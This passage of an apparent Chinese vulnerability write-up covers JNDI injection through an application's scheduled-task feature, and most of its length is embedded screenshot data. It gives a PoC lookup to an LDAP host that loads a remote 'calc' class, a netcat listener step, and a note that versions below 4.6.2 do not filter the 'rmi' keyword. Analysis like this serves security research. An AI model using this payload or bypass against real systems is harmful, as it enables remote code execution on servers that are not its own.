<p blockindex=45><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=46>poc:</p>
|
||||
<pre blockindex=47><code class="hljs language-php">javax.naming.InitialContext.lookup(<span class=hljs-string>'ldap://127.0.0.1:8085/calc'</span>)
|
||||
</code></pre>
|
||||
<p blockindex=48>nc监听端口</p>
|
||||
<p blockindex=49><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=50><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB3wAAAMiCAYAAACFSbInAAAgAElEQVR4nOzde1xU953/8Rei4oqCJlAvRbGhiBCbQOoutFipMU4TI2q3JlRtamtzURuLG2htf27TJPvLr3WFrlQbXNvadVO1RtqKqJvFmgQrCTxqA7lBkNKKIV6CSQTEOCrM748zA3M5c+EmYN7PPvIozLl958DM4Hmfz+cb9N75FhsiMuBE3jyqv4cgvaTx/Yv9PQQREREREREREREREblBBdlsNgW+MmBZrdb+HoKIiIiIiIiIiIiIiIjIgDWkvwcgIiIiIiIiIiIiIiIiIiLdo8BXRERERERERERERERERGSQUuArIiIiIiIiIiIiIiIiIjJIKfAVERERERERERERERERERmkFPiKiIiIiIiIiIiIiIiIiAxSCnxFRERERERERERERERERAYpBb4iIiIiIiIiIiIiIiIiIoOUAl8RERERERERERERERERkUFKga+IiIiIiIiIiIiIiIiIyCClwFcGrMb3L/b3EEREREREREREREREREQGNAW+IiIiIiIiIiIiIiIiIiKD1NCebGx9+b89HhsSNp5h0y092a1In2hubgUgLCy0n0ciIiIiIiIiIiIiIiIi0ju6Hfhefj6Hq2/+r+myK688yz/cn8OQ8HHdHpihktac79Lu+DZ6I6PvSwTOcukXBQx56FFGuB/7hUys73/Tvp6Zs1z6xQO0NXU+EnTHs4yKKKCluNB8k/A1hDy0gOEmY8NymNDbAns2V17IxPpqlcm+/4lrbmPqGNed4wPbufj1cvkbANw9N6WfRyIiIiIiIiIiIiIiIiLSO7od+HoLewHam87y0XPZAYS+boGuh4UMyz6MZz3meIbG1GLdW8kIl2D3LNfqqhiS7C3s7TTEHtRe3juXa44HzYLd17fQUu65/eW99nEXz6Wl2MtBOgJqL4+57XuIU3jsMi4fOkPkBIK/lsdI53z49S20lE/ufE5n93PxN5uxeRtbAF5/s5ampot8ITXJ53p/Kq0A8LueiIiIiIiIiIiIiIiIiHRfj1o6+xJ46GsSVAZg+J0/4NovHqD19cME18zlar3TQi8h7JAuVOM6XDlfC2NmuoTAl/c6jreQYdleqoxfheAvmASq9d+lJcfp+/A1HV+2u4076OYAB+kR3joF6U77Z/wCRmUvsFdBB7hvN01NF/lTaSVNza3Mv2em6To7f/s/1J86y22fie3eQUREREREREREREREREQkIH0W+EJn6Bv60LN9sPfxjExeSEtNJaH3HWYE9qrYmwNrg+wcrroHq66tlxMI/lpnmHp571yuspHR2YnGejmZtHcE1o520T5C7F6u8PV0lku/+C62O55ldESBaXVyT9w23Qhx/1RaCeAR+jrC3ujJ470GwiIiIiIiIiIiIiIiIiLSO/o08AUj9G175zWCJ93uZY0q2n4zl5YA9uVRoXvbo4x2fH92P9fqFzL0vvE4gldbsveKXtOWznbD78xj+J0mG72+hWs3P8toe6A8/M48hkdsocVp/EF3dC53N/zOPNd20bc9yuhP7OdiTgFDsw8zwl6Za7vjWUbdd9jXqfBhPCMfsm/7ejd34UN4+Civoa9z2Lvsq/f0/sFFRERERERERERERERExEWfB74A7U3nCJ7kbalRDTvkTz6qc1/fQksxBDtVvxotlTsraS//aTPc8axHe+UuadqMNWczVo8F9tbNtz3KqI7HzOcftr36AC2vmrR6fn0LLcWFXg99NaeQq45vXn2AllftX3dzrt2+ZBb6NjW1KOwVERERERERERERERERuc56HPiOzMgxrd5tbzrH5ec30vbOawHtZ0TcQlqKC7h8p/ucuGe5VF5IkFOYO+I+RzXsr+2PVNJWD7Z6p6AU3ObyDWCu4PCFDKEQnCuDX99CS/lkhnS0a3asvJBh2YcJNdvP2f1czHGqWo7eyOj7HmX0bY86rWQPjMPXEJIOV36zGdsADHe9MQt9B0rY+3LZGzS3tHo83tBwDoDnD5eZbvf55M8QFmb6ExUREREREREREREREREZkHoc+Pqu3u2C2x5lWM1cru6dyQin0PPKCz+mjTWE+JyXN5HQbOcWyP5bOpvP4TuZ4JgErtZUwm3GGC7XFBIU8yzDGc/wh0zaLNsD4ZCHFnS2ax6/gFHZC1xW66xKdnANjIdnLzD2lfNd1/1Hb2T0fbhVE5tUEPeD8PBRnHrnrNP3o/txNIbm5lbTsFdERERERERERERERETkRtTjwPfy8xu5/PzG7m189hQ2Ygm2Z7kj7ttIW853adlrr3R9fQvWV2MZlr3Ade7bXuBtDt8hd36TITm/5tLZPEa+t4Wr9QsZdl9n2OwZ3BpMW0E7VeyOuO8wQ17IxPpqlX1hodHGOXwNIQ/9E9dcqocNQXd0trh2DbQHBuc5eydPGu8xp29/CAsL5e65KabLHJW93paLiIiIiIiIiIiIiIiIDDY9DnyHhHuvvG1vOut1GQDvncIWPdOpUjWR0OyNtOZ8l5YcCLSS1VsI69rSGXsA66tS2D4GSywtRZlcbKpiiOWwy/GNdtIO3iuJr7yQyRVMjuXctvn1LbSUdy5yhNCO53TNc+sBwznsXfbVe2hquggwIEJfERERERERERERERERkY+LHge+oQ8963XZpT3ZPubwtc/NG7PYx94LufbCYvDZztk9hLXv22tL50psTQkEfcLHDj8xmaCmQmzhaxjupSU0wOW9Dxjtpk3WaX+/Cm72fPxG4B72gvmcvgp9RURERERERERERERERPpWjwNf68v/zdBJt5suszWf877h6wW0NS1kmCPMPbufi7/ZjA2j0nX0bQCVtOY8QMurrtWvV17IxPoqBFvm0P6bTC59LY+R/gp3O457jPbwOYR4W98+jiDLYYafz8Sac4Rr7vt/fQstxYVGte5DiWY7of0CBMWZHKTeUb1sF76m48t2t4rkoAEYGB/4n2MeYa+DQl8RERERERERERERERGR66vHge+Vl5/lCt6rfL25XFNotEt2hKcsZFi2e6VuYsfctZf32sPQ6I0MA4IdIextk2nNmUuL2UFMWjoPo5AhyYfhhUxa7PPpDnEEs02bsf4mgeCvHbYHvHkMv7PS2H/4GkKST2F1BL3Zj7o+H/e20uHmlb/XtaXzbY/ag/PeEx4WyhdSE/lCapL5cqfQNzx8VO8eXERERERERERERERERERcBNlsNlt3Nrz8fA5X3/zfgNYdbQ9tpfcZ1c5VQEJnCO6NUxW1S/A8QDW+f5GwUcN6bX/PHy4D4O65Kb22TxEREREREREREREREZH+1O3At73pHG3vvEZ781mf64V8/uvdGphIbwe+zc2thIWF9tr+RERERERERERERERERPpbtwNfkb7W24GviIiIiIiIiIiIiIiIyI1mSH8PQEREREREREREREREREREukcVvjKgWa3W/h6CiIiIiIiIiIiIiIiIyIClCl8RERERERERERERERERkUFKga+IiIiIiIiIiIiIiIiIyCClwFdEREREREREREREREREZJBS4CsiIiIiIiIiIiIiIiIiMkgp8BURERERERERERERERERGaQU+IqIiIiIiIiIiIiIiIiIDFIKfEVEREREREREREREREREBikFviIiIiIiIiIiIiIiIiIig9TQ/h6AiC/NF6/29xBEREREREREREREREREBqwgm81m6+9BiIiIiIiIiIiIiIiIiIhI16mls4iIiIiIiIiIiIiIiIjIIKXAV0RERERERERERERERERkkFLgKyIiIiIiIiIiIiIiIiIySCnwFREREREREREREREREREZpBT4ioiIiIiIiIiIiIiIiIgMUgp8RUREREREREREREREREQGKQW+IiIiIiIiIiIiIiIiIiKDlAJfEREREREREREREREREZFBSoGviIiIiIiIiIiIiIiIiMggNbS3d9jW1sbly5e5du1ab+9aREREBpmhQ4cyYsQIgoOD+3soIiIiIiIiIiIiIjekIJvNZuvNHba2tjJs2DCGDx/em7sVERGRQejKlStcvXqV0NDQ/h6KiIiIiIiIiIiIyA2p11s6X7t2TWGviIiIADB8+HB1/RARERERERERERHpQ5rDV0RERERERERERERERERkkFLgKyIiIiIiIiIiIiIiIiIySCnwFREREREREREREREREREZpBT4ioiIiIiIiIiIiIiIiIgMUgp8RUREREREREREREREREQGKQW+IiIiIiIiIiIiIiIiIiKDlAJfEREREREREREREREREZFBSoGviIiIiIiIiIiIiIiIiMggNbS/ByAiIoH7exP8x1/gjfP9PZIb02ci4F8+C58KD2z9t9+HVf9j/P+NatrNkH+P8f8iIiIiIiIiIiIiMvAE2Ww2W2/usKmpifDwAK+Ui4hIl3znBZgzGRZ+ur9HcmMq/CscOQU/uzOw9Wf/5sYOex2m3Qwvfq372+tvAxEREREREREREZG+o5bOIiKDyBvnFfb2pYWf7lr19Mch7IWPz/MUERERERERERERGYwU+IqIiIiIiIiIiIiIiIiIDFIKfEVEREREREREREREREREBikFviIiIiIiIiIiIiIiIiIig5QCXxERERERERERERERERGRQUqBr4iISL9qw3axnraPrH20fyu2D+qxXQPaW2n/oBFbex8dSkRERERERERERESuOwW+IiJyXVUcgdn74Ux/D6S/XGuizSV0DaIgK5r3HhraRwccyp+ejOZPXwI+G8qJJyPYG19P+5W2PjqeiIiIiIiIiIiIiFxPfXV1WbqqMp+4jE2QuYea1YnX77hni1iTlk3x3TmU5qUTYTa0Z+LIyPOzn7tz2DO3mIysYs9lHc/pPEWZqWQ/341xdvG8VFZWcuHCBerr67lw4QIAU6ZMITo6msTE63h+RfrZmXJYWt/FjWLine truncated
|
||||
<h2 blockindex=51>< 4.6.2</h2>
|
||||
<h3 blockindex=52>rmi</h3>
|
||||
<p blockindex=53>上边的分析是拿4.6.2版本分析的,在创建定时任务时会判断目标字符串中有没有rmi关键字。后边有拐回来看一下,发现在4.6.2版本以下,在创建定时任务时是没有任何过滤的。</p>
|
||||
<p blockindex=54><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA70AAAGSCAYAAAAvuKZmAAAgAElEQVR4nOzde2wb953v/Y+NoAgcu7l44qiV6+SkcUU5jcXclNOeTYyIPGnEVZJFisau+pQWsO0C2Wf/0EOmxWpX3WBbdbloQx790dMC3RawtahWyiJB42ipNoeU4Wa73SiXks5WpuNkT5tYqeNMLq0db1AE9vPHDMmZ4Z2iLqbfL8CwxLl9OSJn5ju/7+8367p8154TAAAAAABtaP1qBwAAAAAAwHIh6QUAAAAAtC2SXgAAAABA2yLpBQAAAAC0LZJeAAAAAEDbIukFAAAAALQtkl4AAAAAQNsi6QUAAAAAtC2SXgAAAABA2yLpBQAAAAC0LZJeAAAAAEDbIukFAAAAALQtkl4AAAAAQNtqTdK7tVv39ndrW8mEK3Xbrqt1acUFN+r6XeWWAwAAAABg6VqS9G7r2Kwzv35Nr+Zf2Nqte13J7kZdv+smXf9h+9cPX62gJ0nedssf6batrYgGAAAAAADLui7fteeWtIYPX63g/9is3/78Bf3q997XP6YNkqQzesU7XVfqtv4uXWX/9saL/6pnji8pEgAAAAAAXJbc0ntp52ZtePM1T0Lr9V86VXX6GZ2uOh0AAAAAgMYtMem9Ur5rNuiNE2+6X97arXtvlJ6dPao3zrymQ7OmPtLvLW829NvZjF4585Yysy9JN1LeDAAAAABorYuWtPRWQ1edeU2HvGXJx4/owHFJutJ+4U09M+tIjH//G6VmJWmjrpckndavDv3rkkIBAAAAAMBrCX16N+r6XX5tfIW+uAAAAACAtan58uYPb9ZHNryl35LwAgAAAADWqKaT3m2f+JjkfEwRAAAAAABrTJNJ75X6yJVn9NvF062NBgAAAACAF